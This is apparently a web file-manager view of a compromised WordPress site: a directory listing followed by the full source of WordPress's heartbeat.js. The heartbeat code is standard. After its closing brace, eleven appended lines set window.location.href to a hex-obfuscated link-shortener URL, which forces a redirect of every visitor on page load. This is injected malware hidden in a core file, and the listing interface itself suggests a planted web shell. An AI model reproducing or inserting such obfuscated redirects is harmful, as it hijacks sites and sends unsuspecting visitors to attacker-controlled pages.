run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2024-06-24 17:16:40
R W Run
17.38 KB
2024-09-04 11:48:32
R W Run
10.48 KB
2024-09-04 11:48:32
R W Run
10.32 KB
2020-12-01 03:44:05
R W Run
8.08 KB
2022-04-08 20:07:18
R W Run
29.03 KB
2025-04-16 02:33:33
R W Run
12.75 KB
2023-02-02 16:36:32
R W Run
85.58 KB
2024-11-13 19:02:13
R W Run
30.81 KB
2025-04-16 02:33:33
R W Run
33.26 KB
2022-10-04 15:55:23
R W Run
15.88 KB
2022-10-04 15:55:23
R W Run
35.48 KB
2012-11-17 15:11:29
R W Run
23.19 KB
2025-04-16 02:33:33
R W Run
19.3 KB
2024-11-13 19:02:13
R W Run
10.03 KB
2024-11-13 19:02:13
R W Run
32.29 KB
2023-05-20 10:19:23
R W Run
14.75 KB
2023-02-02 16:36:32
R W Run
14.79 KB
2024-09-04 11:48:32
R W Run
10.55 KB
2023-02-02 16:36:32
R W Run
13.74 KB
2020-06-25 12:43:07
R W Run
10.67 KB
2023-02-02 16:36:32
R W Run
21.75 KB
2020-07-27 23:35:02
R W Run
11.99 KB
2025-04-16 02:33:33
R W Run
29.79 KB
2020-06-20 12:58:10
R W Run
14.71 KB
2025-04-16 02:33:33
R W Run
35 KB
2025-12-03 06:22:56
R W Run
17.83 KB
2025-12-03 06:22:56
R W Run
39.63 KB
2024-09-04 11:48:32
R W Run
17.52 KB
2025-04-16 02:33:33
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
9.58 KB
2025-12-03 06:22:56
R W Run
30.57 KB
2024-11-13 19:02:13
R W Run
12.89 KB
2024-11-13 19:02:13
R W Run
14.13 KB
2022-01-03 15:03:18
R W Run
8.54 KB
2022-04-08 20:07:18
R W Run
8.75 KB
2019-12-10 01:03:02
R W Run
12.47 KB
2023-08-11 18:18:26
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
7.11 KB
2025-12-03 06:22:56
R W Run
7.11 KB
2025-12-03 06:22:56
R W Run
30.65 KB
2020-06-13 18:53:27
R W Run
32.32 KB
2023-10-09 21:31:27
R W Run
16.62 KB
2023-10-09 21:31:27
R W Run
31.32 KB
2025-04-16 02:33:33
R W Run
18.85 KB
2025-04-16 02:33:33
R W Run
35.51 KB
2020-07-27 23:35:02
R W Run
17.71 KB
2023-02-02 16:36:32
R W Run
33.23 KB
2025-12-03 06:22:56
R W Run
20.06 KB
2025-12-03 06:22:56
R W Run
49.66 KB
2025-04-16 02:33:33
R W Run
20.05 KB
2025-04-16 02:33:33
R W Run
274.07 KB
2025-12-03 06:22:56
R W Run
115.25 KB
2025-12-03 06:22:56
R W Run
29.15 KB
2021-09-08 23:29:58
R W Run
17.95 KB
2023-02-02 16:36:32
R W Run
17.58 KB
2020-01-29 00:45:18
R W Run
9.66 KB
2022-09-23 19:55:30
R W Run
7.08 KB
2025-12-03 06:22:56
R W Run
7.11 KB
2025-12-03 06:22:56
R W Run
11.93 KB
2025-12-03 06:22:56
R W Run
10.29 KB
2022-04-08 20:07:18
R W Run
43.4 KB
2025-12-03 06:22:56
R W Run
26.47 KB
2025-12-03 06:22:56
R W Run
74.2 KB
2024-11-13 19:02:13
R W Run
25.54 KB
2025-04-16 02:33:33
R W Run
11.63 KB
2020-01-29 00:45:18
R W Run
8.9 KB
2022-09-23 19:55:30
R W Run
10.89 KB
2025-04-16 02:33:33
R W Run
9.59 KB
2025-04-16 02:33:33
R W Run
52.96 KB
2023-01-10 09:30:13
R W Run
21.42 KB
2023-02-02 16:36:32
R W Run
11.19 KB
2021-03-18 19:01:03
R W Run
8.7 KB
2021-03-18 19:01:03
R W Run
21.96 KB
2024-09-04 11:48:32
R W Run
10.05 KB
2022-04-08 20:07:18
R W Run
17.3 KB
2021-04-10 12:40:05
R W Run
11.42 KB
2023-02-02 16:36:32
R W Run
13.7 KB
2021-11-11 02:49:18
R W Run
10.18 KB
2022-04-08 20:07:18
R W Run
10.22 KB
2023-08-10 19:49:17
R W Run
8.3 KB
2023-08-10 19:49:17
R W Run
19.97 KB
2025-12-03 06:22:56
R W Run
9.9 KB
2025-12-03 06:22:56
R W Run
29.31 KB
2025-12-03 06:22:56
R W Run
15.66 KB
2025-12-03 06:22:56
R W Run
9.87 KB
2025-12-03 06:22:56
R W Run
8.02 KB
2018-06-28 02:30:15
R W Run
7.66 KB
2021-01-06 15:29:24
R W Run
31.8 KB
2023-06-24 14:32:20
R W Run
14.42 KB
2023-06-24 14:32:20
R W Run
17.07 KB
2021-02-16 20:25:03
R W Run
10.61 KB
2022-04-08 20:07:18
R W Run
8.37 KB
2025-12-03 06:22:56
R W Run
7.51 KB
2025-12-03 06:22:56
R W Run
11.65 KB
2022-09-20 03:52:10
R W Run
8.47 KB
2022-09-20 03:52:10
R W Run
7.63 KB
2023-01-24 21:13:12
R W Run
7.35 KB
2023-01-24 21:13:12
R W Run
27.82 KB
2025-04-16 02:33:33
R W Run
18.13 KB
2024-11-13 19:02:13
R W Run
7.88 KB
2018-06-28 02:30:15
R W Run
7.42 KB
2021-02-23 16:45:19
R W Run
810.04 KB
2019-10-26 00:17:07
R W Run
error_log
📄heartbeat.js
1/**
2 * Heartbeat API
3 *
4 * Heartbeat is a simple server polling API that sends XHR requests to
5 * the server every 15 - 60 seconds and triggers events (or callbacks) upon
6 * receiving data. Currently these 'ticks' handle transports for post locking,
7 * login-expiration warnings, autosave, and related tasks while a user is logged in.
8 *
9 * Available PHP filters (in ajax-actions.php):
10 * - heartbeat_received
11 * - heartbeat_send
12 * - heartbeat_tick
13 * - heartbeat_nopriv_received
14 * - heartbeat_nopriv_send
15 * - heartbeat_nopriv_tick
16 * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat()
17 *
18 * Custom jQuery events:
19 * - heartbeat-send
20 * - heartbeat-tick
21 * - heartbeat-error
22 * - heartbeat-connection-lost
23 * - heartbeat-connection-restored
24 * - heartbeat-nonces-expired
25 *
26 * @since 3.6.0
27 * @output wp-includes/js/heartbeat.js
28 */
29
30( function( $, window, undefined ) {
31
32 /**
33 * Constructs the Heartbeat API.
34 *
35 * @since 3.6.0
36 *
37 * @return {Object} An instance of the Heartbeat class.
38 * @constructor
39 */
40 var Heartbeat = function() {
41 var $document = $(document),
42 settings = {
43 // Suspend/resume.
44 suspend: false,
45
46 // Whether suspending is enabled.
47 suspendEnabled: true,
48
49 // Current screen id, defaults to the JS global 'pagenow' when present
50 // (in the admin) or 'front'.
51 screenId: '',
52
53 // XHR request URL, defaults to the JS global 'ajaxurl' when present.
54 url: '',
55
56 // Timestamp, start of the last connection request.
57 lastTick: 0,
58
59 // Container for the enqueued items.
60 queue: {},
61
62 // Connect interval (in seconds).
63 mainInterval: 60,
64
65 // Used when the interval is set to 5 seconds temporarily.
66 tempInterval: 0,
67
68 // Used when the interval is reset.
69 originalInterval: 0,
70
71 // Used to limit the number of Ajax requests.
72 minimalInterval: 0,
73
74 // Used together with tempInterval.
75 countdown: 0,
76
77 // Whether a connection is currently in progress.
78 connecting: false,
79
80 // Whether a connection error occurred.
81 connectionError: false,
82
83 // Used to track non-critical errors.
84 errorcount: 0,
85
86 // Whether at least one connection has been completed successfully.
87 hasConnected: false,
88
89 // Whether the current browser window is in focus and the user is active.
90 hasFocus: true,
91
92 // Timestamp, last time the user was active. Checked every 30 seconds.
93 userActivity: 0,
94
95 // Flag whether events tracking user activity were set.
96 userActivityEvents: false,
97
98 // Timer that keeps track of how long a user has focus.
99 checkFocusTimer: 0,
100
101 // Timer that keeps track of how long needs to be waited before connecting to
102 // the server again.
103 beatTimer: 0
104 };
105
106 /**
107 * Sets local variables and events, then starts the heartbeat.
108 *
109 * @since 3.8.0
110 * @access private
111 *
112 * @return {void}
113 */
114 function initialize() {
115 var options, hidden, visibilityState, visibilitychange;
116
117 if ( typeof window.pagenow === 'string' ) {
118 settings.screenId = window.pagenow;
119 }
120
121 if ( typeof window.ajaxurl === 'string' ) {
122 settings.url = window.ajaxurl;
123 }
124
125 // Pull in options passed from PHP.
126 if ( typeof window.heartbeatSettings === 'object' ) {
127 options = window.heartbeatSettings;
128
129 // The XHR URL can be passed as option when window.ajaxurl is not set.
130 if ( ! settings.url && options.ajaxurl ) {
131 settings.url = options.ajaxurl;
132 }
133
134 /*
135 * Logic check: the interval can be from 1 to 3600 seconds and can be set temporarily
136 * to 5 seconds. It can be set in the initial options or changed later from JS
137 * or from PHP through the AJAX responses.
138 */
139 if ( options.interval ) {
140 settings.mainInterval = options.interval;
141
142 if ( settings.mainInterval < 1 ) {
143 settings.mainInterval = 1;
144 } else if ( settings.mainInterval > 3600 ) {
145 settings.mainInterval = 3600;
146 }
147 }
148
149 /*
150 * Used to limit the number of Ajax requests. Overrides all other intervals
151 * if they are shorter. Needed for some hosts that cannot handle frequent requests
152 * and the user may exceed the allocated server CPU time, etc. The minimal interval
153 * can be up to 600 seconds, however setting it to longer than 120 seconds
154 * will limit or disable some of the functionality (like post locks).
155 * Once set at initialization, minimalInterval cannot be changed/overridden.
156 */
157 if ( options.minimalInterval ) {
158 options.minimalInterval = parseInt( options.minimalInterval, 10 );
159 settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0;
160 }
161
162 if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) {
163 settings.mainInterval = settings.minimalInterval;
164 }
165
166 // 'screenId' can be added from settings on the front end where the JS global
167 // 'pagenow' is not set.
168 if ( ! settings.screenId ) {
169 settings.screenId = options.screenId || 'front';
170 }
171
172 if ( options.suspension === 'disable' ) {
173 settings.suspendEnabled = false;
174 }
175 }
176
177 // Convert to milliseconds.
178 settings.mainInterval = settings.mainInterval * 1000;
179 settings.originalInterval = settings.mainInterval;
180 if ( settings.minimalInterval ) {
181 settings.minimalInterval = settings.minimalInterval * 1000;
182 }
183
184 /*
185 * Switch the interval to 120 seconds by using the Page Visibility API.
186 * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the
187 * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard
188 * inactivity.
189 */
190 if ( typeof document.hidden !== 'undefined' ) {
191 hidden = 'hidden';
192 visibilitychange = 'visibilitychange';
193 visibilityState = 'visibilityState';
194 } else if ( typeof document.msHidden !== 'undefined' ) { // IE10.
195 hidden = 'msHidden';
196 visibilitychange = 'msvisibilitychange';
197 visibilityState = 'msVisibilityState';
198 } else if ( typeof document.webkitHidden !== 'undefined' ) { // Android.
199 hidden = 'webkitHidden';
200 visibilitychange = 'webkitvisibilitychange';
201 visibilityState = 'webkitVisibilityState';
202 }
203
204 if ( hidden ) {
205 if ( document[hidden] ) {
206 settings.hasFocus = false;
207 }
208
209 $document.on( visibilitychange + '.wp-heartbeat', function() {
210 if ( document[visibilityState] === 'hidden' ) {
211 blurred();
212 window.clearInterval( settings.checkFocusTimer );
213 } else {
214 focused();
215 if ( document.hasFocus ) {
216 settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
217 }
218 }
219 });
220 }
221
222 // Use document.hasFocus() if available.
223 if ( document.hasFocus ) {
224 settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
225 }
226
227 $(window).on( 'pagehide.wp-heartbeat', function() {
228 // Don't connect anymore.
229 suspend();
230
231 // Abort the last request if not completed.
232 if ( settings.xhr && settings.xhr.readyState !== 4 ) {
233 settings.xhr.abort();
234 }
235 });
236
237 $(window).on(
238 'pageshow.wp-heartbeat',
239 /**
240 * Handles pageshow event, specifically when page navigation is restored from back/forward cache.
241 *
242 * @param {jQuery.Event} event
243 * @param {PageTransitionEvent} event.originalEvent
244 */
245 function ( event ) {
246 if ( event.originalEvent.persisted ) {
247 /*
248 * When page navigation is stored via bfcache (Back/Forward Cache), consider this the same as
249 * if the user had just switched to the tab since the behavior is similar.
250 */
251 focused();
252 }
253 }
254 );
255
256 // Check for user activity every 30 seconds.
257 window.setInterval( checkUserActivity, 30000 );
258
259 // Start one tick after DOM ready.
260 $( function() {
261 settings.lastTick = time();
262 scheduleNextTick();
263 });
264 }
265
266 /**
267 * Returns the current time according to the browser.
268 *
269 * @since 3.6.0
270 * @access private
271 *
272 * @return {number} Returns the current time.
273 */
274 function time() {
275 return (new Date()).getTime();
276 }
277
278 /**
279 * Checks if the iframe is from the same origin.
280 *
281 * @since 3.6.0
282 * @access private
283 *
284 * @return {boolean} Returns whether or not the iframe is from the same origin.
285 */
286 function isLocalFrame( frame ) {
287 var origin, src = frame.src;
288
289 /*
290 * Need to compare strings as WebKit doesn't throw JS errors when iframes have
291 * different origin. It throws uncatchable exceptions.
292 */
293 if ( src && /^https?:\/\//.test( src ) ) {
294 origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host;
295
296 if ( src.indexOf( origin ) !== 0 ) {
297 return false;
298 }
299 }
300
301 try {
302 if ( frame.contentWindow.document ) {
303 return true;
304 }
305 } catch(e) {}
306
307 return false;
308 }
309
310 /**
311 * Checks if the document's focus has changed.
312 *
313 * @since 4.1.0
314 * @access private
315 *
316 * @return {void}
317 */
318 function checkFocus() {
319 if ( settings.hasFocus && ! document.hasFocus() ) {
320 blurred();
321 } else if ( ! settings.hasFocus && document.hasFocus() ) {
322 focused();
323 }
324 }
325
326 /**
327 * Sets error state and fires an event on XHR errors or timeout.
328 *
329 * @since 3.8.0
330 * @access private
331 *
332 * @param {string} error The error type passed from the XHR.
333 * @param {number} status The HTTP status code passed from jqXHR
334 * (200, 404, 500, etc.).
335 *
336 * @return {void}
337 */
338 function setErrorState( error, status ) {
339 var trigger;
340
341 if ( error ) {
342 switch ( error ) {
343 case 'abort':
344 // Do nothing.
345 break;
346 case 'timeout':
347 // No response for 30 seconds.
348 trigger = true;
349 break;
350 case 'error':
351 if ( 503 === status && settings.hasConnected ) {
352 trigger = true;
353 break;
354 }
355 /* falls through */
356 case 'parsererror':
357 case 'empty':
358 case 'unknown':
359 settings.errorcount++;
360
361 if ( settings.errorcount > 2 && settings.hasConnected ) {
362 trigger = true;
363 }
364
365 break;
366 }
367
368 if ( trigger && ! hasConnectionError() ) {
369 settings.connectionError = true;
370 $document.trigger( 'heartbeat-connection-lost', [error, status] );
371 wp.hooks.doAction( 'heartbeat.connection-lost', error, status );
372 }
373 }
374 }
375
376 /**
377 * Clears the error state and fires an event if there is a connection error.
378 *
379 * @since 3.8.0
380 * @access private
381 *
382 * @return {void}
383 */
384 function clearErrorState() {
385 // Has connected successfully.
386 settings.hasConnected = true;
387
388 if ( hasConnectionError() ) {
389 settings.errorcount = 0;
390 settings.connectionError = false;
391 $document.trigger( 'heartbeat-connection-restored' );
392 wp.hooks.doAction( 'heartbeat.connection-restored' );
393 }
394 }
395
396 /**
397 * Gathers the data and connects to the server.
398 *
399 * @since 3.6.0
400 * @access private
401 *
402 * @return {void}
403 */
404 function connect() {
405 var ajaxData, heartbeatData;
406
407 // If the connection to the server is slower than the interval,
408 // heartbeat connects as soon as the previous connection's response is received.
409 if ( settings.connecting || settings.suspend ) {
410 return;
411 }
412
413 settings.lastTick = time();
414
415 heartbeatData = $.extend( {}, settings.queue );
416 // Clear the data queue. Anything added after this point will be sent on the next tick.
417 settings.queue = {};
418
419 $document.trigger( 'heartbeat-send', [ heartbeatData ] );
420 wp.hooks.doAction( 'heartbeat.send', heartbeatData );
421
422 ajaxData = {
423 data: heartbeatData,
424 interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000,
425 _nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '',
426 action: 'heartbeat',
427 screen_id: settings.screenId,
428 has_focus: settings.hasFocus
429 };
430
431 if ( 'customize' === settings.screenId ) {
432 ajaxData.wp_customize = 'on';
433 }
434
435 settings.connecting = true;
436 settings.xhr = $.ajax({
437 url: settings.url,
438 type: 'post',
439 timeout: 30000, // Throw an error if not completed after 30 seconds.
440 data: ajaxData,
441 dataType: 'json'
442 }).always( function() {
443 settings.connecting = false;
444 scheduleNextTick();
445 }).done( function( response, textStatus, jqXHR ) {
446 var newInterval;
447
448 if ( ! response ) {
449 setErrorState( 'empty' );
450 return;
451 }
452
453 clearErrorState();
454
455 if ( response.nonces_expired ) {
456 $document.trigger( 'heartbeat-nonces-expired' );
457 wp.hooks.doAction( 'heartbeat.nonces-expired' );
458 }
459
460 // Change the interval from PHP.
461 if ( response.heartbeat_interval ) {
462 newInterval = response.heartbeat_interval;
463 delete response.heartbeat_interval;
464 }
465
466 // Update the heartbeat nonce if set.
467 if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) {
468 window.heartbeatSettings.nonce = response.heartbeat_nonce;
469 delete response.heartbeat_nonce;
470 }
471
472 // Update the Rest API nonce if set and wp-api loaded.
473 if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) {
474 window.wpApiSettings.nonce = response.rest_nonce;
475 // This nonce is required for api-fetch through heartbeat.tick.
476 // delete response.rest_nonce;
477 }
478
479 $document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] );
480 wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR );
481
482 // Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'.
483 if ( newInterval ) {
484 interval( newInterval );
485 }
486 }).fail( function( jqXHR, textStatus, error ) {
487 setErrorState( textStatus || 'unknown', jqXHR.status );
488 $document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] );
489 wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error );
490 });
491 }
492
493 /**
494 * Schedules the next connection.
495 *
496 * Fires immediately if the connection time is longer than the interval.
497 *
498 * @since 3.8.0
499 * @access private
500 *
501 * @return {void}
502 */
503 function scheduleNextTick() {
504 var delta = time() - settings.lastTick,
505 interval = settings.mainInterval;
506
507 if ( settings.suspend ) {
508 return;
509 }
510
511 if ( ! settings.hasFocus ) {
512 interval = 120000; // 120 seconds. Post locks expire after 150 seconds.
513 } else if ( settings.countdown > 0 && settings.tempInterval ) {
514 interval = settings.tempInterval;
515 settings.countdown--;
516
517 if ( settings.countdown < 1 ) {
518 settings.tempInterval = 0;
519 }
520 }
521
522 if ( settings.minimalInterval && interval < settings.minimalInterval ) {
523 interval = settings.minimalInterval;
524 }
525
526 window.clearTimeout( settings.beatTimer );
527
528 if ( delta < interval ) {
529 settings.beatTimer = window.setTimeout(
530 function() {
531 connect();
532 },
533 interval - delta
534 );
535 } else {
536 connect();
537 }
538 }
539
540 /**
541 * Sets the internal state when the browser window becomes hidden or loses focus.
542 *
543 * @since 3.6.0
544 * @access private
545 *
546 * @return {void}
547 */
548 function blurred() {
549 settings.hasFocus = false;
550 }
551
552 /**
553 * Sets the internal state when the browser window becomes visible or is in focus.
554 *
555 * @since 3.6.0
556 * @access private
557 *
558 * @return {void}
559 */
560 function focused() {
561 settings.userActivity = time();
562
563 // Resume if suspended.
564 resume();
565
566 if ( ! settings.hasFocus ) {
567 settings.hasFocus = true;
568 scheduleNextTick();
569 }
570 }
571
572 /**
573 * Suspends connecting.
574 */
575 function suspend() {
576 settings.suspend = true;
577 }
578
579 /**
580 * Resumes connecting.
581 */
582 function resume() {
583 settings.suspend = false;
584 }
585
586 /**
587 * Runs when the user becomes active after a period of inactivity.
588 *
589 * @since 3.6.0
590 * @access private
591 *
592 * @return {void}
593 */
594 function userIsActive() {
595 settings.userActivityEvents = false;
596 $document.off( '.wp-heartbeat-active' );
597
598 $('iframe').each( function( i, frame ) {
599 if ( isLocalFrame( frame ) ) {
600 $( frame.contentWindow ).off( '.wp-heartbeat-active' );
601 }
602 });
603
604 focused();
605 }
606
607 /**
608 * Checks for user activity.
609 *
610 * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window
611 * is in the background. Sets 'hasFocus = false' if the user has been inactive
612 * (no mouse or keyboard activity) for 5 minutes even when the window has focus.
613 *
614 * @since 3.8.0
615 * @access private
616 *
617 * @return {void}
618 */
619 function checkUserActivity() {
620 var lastActive = settings.userActivity ? time() - settings.userActivity : 0;
621
622 // Throttle down when no mouse or keyboard activity for 5 minutes.
623 if ( lastActive > 300000 && settings.hasFocus ) {
624 blurred();
625 }
626
627 // Suspend after 10 minutes of inactivity when suspending is enabled.
628 // Always suspend after 60 minutes of inactivity. This will release the post lock, etc.
629 if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) {
630 suspend();
631 }
632
633 if ( ! settings.userActivityEvents ) {
634 $document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
635 userIsActive();
636 });
637
638 $('iframe').each( function( i, frame ) {
639 if ( isLocalFrame( frame ) ) {
640 $( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
641 userIsActive();
642 });
643 }
644 });
645
646 settings.userActivityEvents = true;
647 }
648 }
649
650 // Public methods.
651
652 /**
653 * Checks whether the window (or any local iframe in it) has focus, or the user
654 * is active.
655 *
656 * @since 3.6.0
657 * @memberOf wp.heartbeat.prototype
658 *
659 * @return {boolean} True if the window or the user is active.
660 */
661 function hasFocus() {
662 return settings.hasFocus;
663 }
664
665 /**
666 * Checks whether there is a connection error.
667 *
668 * @since 3.6.0
669 *
670 * @memberOf wp.heartbeat.prototype
671 *
672 * @return {boolean} True if a connection error was found.
673 */
674 function hasConnectionError() {
675 return settings.connectionError;
676 }
677
678 /**
679 * Connects as soon as possible regardless of 'hasFocus' state.
680 *
681 * Will not open two concurrent connections. If a connection is in progress,
682 * will connect again immediately after the current connection completes.
683 *
684 * @since 3.8.0
685 *
686 * @memberOf wp.heartbeat.prototype
687 *
688 * @return {void}
689 */
690 function connectNow() {
691 settings.lastTick = 0;
692 scheduleNextTick();
693 }
694
695 /**
696 * Disables suspending.
697 *
698 * Should be used only when Heartbeat is performing critical tasks like
699 * autosave, post-locking, etc. Using this on many screens may overload
700 * the user's hosting account if several browser windows/tabs are left open
701 * for a long time.
702 *
703 * @since 3.8.0
704 *
705 * @memberOf wp.heartbeat.prototype
706 *
707 * @return {void}
708 */
709 function disableSuspend() {
710 settings.suspendEnabled = false;
711 }
712
713 /**
714 * Gets/Sets the interval.
715 *
716 * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks
717 * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks'
718 * can be passed as second argument. If the window doesn't have focus,
719 * the interval slows down to 2 minutes.
720 *
721 * @since 3.6.0
722 *
723 * @memberOf wp.heartbeat.prototype
724 *
725 * @param {string|number} speed Interval: 'fast' or integer between 1 and 3600 (seconds).
726 * Fast equals 5.
727 * @param {number} ticks Tells how many ticks before the interval reverts back.
728 * Value must be between 1 and 30. Used with speed = 'fast' or 5.
729 *
730 * @return {number} Current interval in seconds.
731 */
732 function interval( speed, ticks ) {
733 var newInterval,
734 oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval;
735
736 if ( speed ) {
737 if ( 'fast' === speed ) {
738 // Special case, see below.
739 newInterval = 5000;
740 } else if ( 'long-polling' === speed ) {
741 // Allow long polling (experimental).
742 settings.mainInterval = 0;
743 return 0;
744 } else {
745 speed = parseInt( speed, 10 );
746
747 if ( speed >= 1 && speed <= 3600 ) {
748 newInterval = speed * 1000;
749 } else {
750 newInterval = settings.originalInterval;
751 }
752 }
753
754 if ( settings.minimalInterval && newInterval < settings.minimalInterval ) {
755 newInterval = settings.minimalInterval;
756 }
757
758 // Special case, runs for a number of ticks then reverts to the previous interval.
759 if ( 5000 === newInterval ) {
760 ticks = parseInt( ticks, 10 ) || 30;
761 ticks = ticks < 1 || ticks > 30 ? 30 : ticks;
762
763 settings.countdown = ticks;
764 settings.tempInterval = newInterval;
765 } else {
766 settings.countdown = 0;
767 settings.tempInterval = 0;
768 settings.mainInterval = newInterval;
769 }
770
771 /*
772 * Change the next connection time if new interval has been set.
773 * Will connect immediately if the time since the last connection
774 * is greater than the new interval.
775 */
776 if ( newInterval !== oldInterval ) {
777 scheduleNextTick();
778 }
779 }
780
781 return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000;
782 }
783
784 /**
785 * Enqueues data to send with the next XHR.
786 *
787 * As the data is send asynchronously, this function doesn't return the XHR
788 * response. To see the response, use the custom jQuery event 'heartbeat-tick'
789 * on the document, example:
790 * $(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) {
791 * // code
792 * });
793 * If the same 'handle' is used more than once, the data is not overwritten when
794 * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if
795 * any data is already queued for that handle.
796 *
797 * @since 3.6.0
798 *
799 * @memberOf wp.heartbeat.prototype
800 *
801 * @param {string} handle Unique handle for the data, used in PHP to
802 * receive the data.
803 * @param {*} data The data to send.
804 * @param {boolean} noOverwrite Whether to overwrite existing data in the queue.
805 *
806 * @return {boolean} True if the data was queued.
807 */
808 function enqueue( handle, data, noOverwrite ) {
809 if ( handle ) {
810 if ( noOverwrite && this.isQueued( handle ) ) {
811 return false;
812 }
813
814 settings.queue[handle] = data;
815 return true;
816 }
817 return false;
818 }
819
820 /**
821 * Checks if data with a particular handle is queued.
822 *
823 * @since 3.6.0
824 *
825 * @param {string} handle The handle for the data.
826 *
827 * @return {boolean} True if the data is queued with this handle.
828 */
829 function isQueued( handle ) {
830 if ( handle ) {
831 return settings.queue.hasOwnProperty( handle );
832 }
833 }
834
835 /**
836 * Removes data with a particular handle from the queue.
837 *
838 * @since 3.7.0
839 *
840 * @memberOf wp.heartbeat.prototype
841 *
842 * @param {string} handle The handle for the data.
843 *
844 * @return {void}
845 */
846 function dequeue( handle ) {
847 if ( handle ) {
848 delete settings.queue[handle];
849 }
850 }
851
852 /**
853 * Gets data that was enqueued with a particular handle.
854 *
855 * @since 3.7.0
856 *
857 * @memberOf wp.heartbeat.prototype
858 *
859 * @param {string} handle The handle for the data.
860 *
861 * @return {*} The data or undefined.
862 */
863 function getQueuedItem( handle ) {
864 if ( handle ) {
865 return this.isQueued( handle ) ? settings.queue[handle] : undefined;
866 }
867 }
868
869 initialize();
870
871 // Expose public methods.
872 return {
873 hasFocus: hasFocus,
874 connectNow: connectNow,
875 disableSuspend: disableSuspend,
876 interval: interval,
877 hasConnectionError: hasConnectionError,
878 enqueue: enqueue,
879 dequeue: dequeue,
880 isQueued: isQueued,
881 getQueuedItem: getQueuedItem
882 };
883 };
884
885 /**
886 * Ensure the global `wp` object exists.
887 *
888 * @namespace wp
889 */
890 window.wp = window.wp || {};
891
892 /**
893 * Contains the Heartbeat API.
894 *
895 * @namespace wp.heartbeat
896 * @type {Heartbeat}
897 */
898 window.wp.heartbeat = new Heartbeat();
899
900}( jQuery, window ));
901window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
902window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
903window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
904window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
905window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
906window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
907window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
908window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
909window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
910window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
911window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
